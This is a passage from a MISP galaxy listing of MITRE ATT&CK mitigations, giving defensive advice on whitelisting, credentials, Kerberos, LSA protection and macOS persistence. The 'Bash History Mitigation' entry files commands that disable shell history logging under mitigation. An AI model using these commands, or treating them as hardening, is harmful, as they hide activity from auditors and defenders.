The tag is: *misp-galaxy:mitre-course-of-action="Multi-Stage Channels Mitigation"*

Hidden Users Mitigation

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Users Mitigation"*

Data Staged Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet

Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Data Staged Mitigation"*

Data from Removable Media Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Data from Removable Media Mitigation"*

Data from Network Shared Drive Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Data from Network Shared Drive Mitigation"*

Account Manipulation Mitigation

Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]].

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-course-of-action="Account Manipulation Mitigation"*

AppleScript Mitigation

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.

The tag is: *misp-galaxy:mitre-course-of-action="AppleScript Mitigation"*

PowerShell Mitigation

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.[[CiteRef::Netspi PowerShell Execution Policy Bypass]] Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: *misp-galaxy:mitre-course-of-action="PowerShell Mitigation"*

Input Prompt Mitigation

Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for [[Technique/T1155|AppleScript]].

The tag is: *misp-galaxy:mitre-course-of-action="Input Prompt Mitigation"*

System Information Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="System Information Discovery Mitigation"*

Winlogon Helper DLL Mitigation

Upgrade the operating system to a newer version of Windows if using a version prior to Vista.

Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="Winlogon Helper DLL Mitigation"*

Netsh Helper DLL Mitigation

Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by Windows utilities like AppLocker.[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]]

The tag is: *misp-galaxy:mitre-course-of-action="Netsh Helper DLL Mitigation"*

Network Share Connection Removal Mitigation

Follow best practices for mitigation of activity related to establishing [[Technique/T1077|Windows Admin Shares]].

Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Network Share Connection Removal Mitigation"*

Connection Proxy Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Connection Proxy Mitigation"*

Hidden Files and Directories Mitigation

Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Files and Directories Mitigation"*

Office Application Startup Mitigation

Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros.[[CiteRef::TechNet Office Macro Security]]

For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring [[Privilege Escalation]].[[CiteRef::Palo Alto Office Test Sofacy]]

Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.[[CiteRef::MRWLabs Office Persistence Add-ins]]

The tag is: *misp-galaxy:mitre-course-of-action="Office Application Startup Mitigation"*

Bash History Mitigation

There are multiple methods of preventing a user’s command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user’s .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.

The tag is: *misp-galaxy:mitre-course-of-action="Bash History Mitigation"*

Application Window Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Application Window Discovery Mitigation"*

Private Keys Mitigation

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [[Technique/T1078|Valid Accounts]].

The tag is: *misp-galaxy:mitre-course-of-action="Private Keys Mitigation"*

Source Mitigation

Due to potential legitimate uses of source commands, it’s may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Source Mitigation"*

HISTCONTROL Mitigation

Prevent users from changing the <code>HISTCONTROL</code> environment variable[[CiteRef::Securing bash history]]. Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.

The tag is: *misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation"*

External Remote Services Mitigation

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of [[Technique/T1111|Two-Factor Authentication Interception]] techniques for some two-factor authentication implementations.

The tag is: *misp-galaxy:mitre-course-of-action="External Remote Services Mitigation"*

LC_MAIN Hijacking Mitigation

Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.

The tag is: *misp-galaxy:mitre-course-of-action="LC_MAIN Hijacking Mitigation"*

Pass the Hash Mitigation

Monitor systems and domain logs for unusual credential logon activity. Prevent access to [[Technique/T1078|Valid Accounts]]. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary’s ability to perform [[Lateral Movement]] between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

The tag is: *misp-galaxy:mitre-course-of-action="Pass the Hash Mitigation"*

Account Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Account Discovery Mitigation"*

Trap Mitigation

Due to potential legitimate uses of trap commands, it’s may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Trap Mitigation"*

Trusted Developer Utilities Mitigation

MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe may not be necessary within a given environment and should be removed if not used.

Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries.[[CiteRef::Microsoft GitHub Device Guard CI Policies]][[CiteRef::Exploit Monday Mitigate Device Guard Bypases]][[CiteRef::GitHub mattifestation DeviceGuardBypass]][[CiteRef::SubTee MSBuild]]

The tag is: *misp-galaxy:mitre-course-of-action="Trusted Developer Utilities Mitigation"*

Pass the Ticket Mitigation

Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.[[CiteRef::ADSecurity AD Kerberos Attacks]]

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.[[CiteRef::CERT-EU Golden Ticket Protection]]

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Pass the Ticket Mitigation"*

System Owner/User Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="System Owner/User Discovery Mitigation"*

Credential Dumping Mitigation

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [[Technique/T1078|Valid Accounts]] if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.[[CiteRef::Microsoft LSA]]

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements.[[CiteRef::TechNet Credential Guard]] It also does not protect against all forms of credential dumping.[[CiteRef::GitHub SHB Credential Guard]]

The tag is: *misp-galaxy:mitre-course-of-action="Credential Dumping Mitigation"*

Regsvr32 Mitigation

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]

The tag is: *misp-galaxy:mitre-course-of-action="Regsvr32 Mitigation"*

Process Hollowing Mitigation

Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Process Hollowing Mitigation"*

Sudo Mitigation

The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: *misp-galaxy:mitre-course-of-action="Sudo Mitigation"*

Rc.common Mitigation

Limit privileges of user accounts so only authorized users can edit the rc.common file.

The tag is: *misp-galaxy:mitre-course-of-action="Rc.common Mitigation"*

Execution through API Mitigation

Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Execution through API Mitigation"*

Taint Shared Content Mitigation

Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).

Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Taint Shared Content Mitigation"*

Redundant Access Mitigation

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Redundant Access Mitigation"*

Audio Capture Mitigation

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Audio Capture Mitigation"*

New Service Mitigation

Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="New Service Mitigation"*

Scripting Mitigation

Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.

The tag is: *misp-galaxy:mitre-course-of-action="Scripting Mitigation"*

Rundll32 Mitigation

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]

The tag is: *misp-galaxy:mitre-course-of-action="Rundll32 Mitigation"*

Fallback Channels Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Fallback Channels Mitigation"*

Hidden Window Mitigation

Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Window Mitigation"*

System Service Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="System Service Discovery Mitigation"*

Indicator Removal on Host Mitigation

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Removal on Host Mitigation"*

Service Registry Permissions Weakness Mitigation

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Service Registry Permissions Weakness Mitigation"*

Timestomp Mitigation

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Timestomp Mitigation"*

System Network Configuration Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="System Network Configuration Discovery Mitigation"*

Execution through Module Load Mitigation

Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.

The tag is: *misp-galaxy:mitre-course-of-action="Execution through Module Load Mitigation"*

Shared Webroot Mitigation

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.

The tag is: *misp-galaxy:mitre-course-of-action="Shared Webroot Mitigation"*

Scheduled Task Mitigation

Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Scheduled Task Mitigation"*

Binary Padding Mitigation

Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Binary Padding Mitigation"*

Network Sniffing Mitigation

Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.

Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Network Sniffing Mitigation"*

Data Encrypted Mitigation

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Data Encrypted Mitigation"*

Standard Cryptographic Protocol Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Standard Cryptographic Protocol Mitigation"*

Multilayer Encryption Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Multilayer Encryption Mitigation"*

Masquerading Mitigation

When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Masquerading Mitigation"*

File System Logical Offsets Mitigation

Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="File System Logical Offsets Mitigation"*

Launch Agent Mitigation

Restrict user’s abilities to create Launch Agents with group policy.

The tag is: *misp-galaxy:mitre-course-of-action="Launch Agent Mitigation"*

Remote Services Mitigation

Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent [[Credential Access]] techniques that may allow an adversary to acquire [[Technique/T1078|Valid Accounts]] that can be used by existing services.

The tag is: *misp-galaxy:mitre-course-of-action="Remote Services Mitigation"*

File Deletion Mitigation

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="File Deletion Mitigation"*

Data Compressed Mitigation

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.

The tag is: *misp-galaxy:mitre-course-of-action="Data Compressed Mitigation"*

LC_LOAD_DYLIB Addition Mitigation

Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.

The tag is: *misp-galaxy:mitre-course-of-action="LC_LOAD_DYLIB Addition Mitigation"*

Authentication Package Mitigation

Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]

The tag is: *misp-galaxy:mitre-course-of-action="Authentication Package Mitigation"*

Startup Items Mitigation

Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.

The tag is: *misp-galaxy:mitre-course-of-action="Startup Items Mitigation"*

Launch Daemon Mitigation

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.

The tag is: *misp-galaxy:mitre-course-of-action="Launch Daemon Mitigation"*

Local Port Monitor Mitigation

Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by processes running under SYSTEM permissions.

The tag is: *misp-galaxy:mitre-course-of-action="Local Port Monitor Mitigation"*

Accessibility Features Mitigation

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.[[CiteRef::TechNet RDP NLA]]

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.[[CiteRef::TechNet RDP Gateway]]

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Accessibility Features Mitigation"*

Bootkit Mitigation

Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised.[[CiteRef::TCG Trusted Platform Module]][[CiteRef::TechNet Secure Boot Process]]

The tag is: *misp-galaxy:mitre-course-of-action="Bootkit Mitigation"*

Access Token Manipulation Mitigation

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [[Technique/T1078|Valid Accounts]].

Also limit opportunities for adversaries to increase privileges by limiting [[Privilege Escalation]] opportunities.

The tag is: *misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation"*

Valid Accounts Mitigation

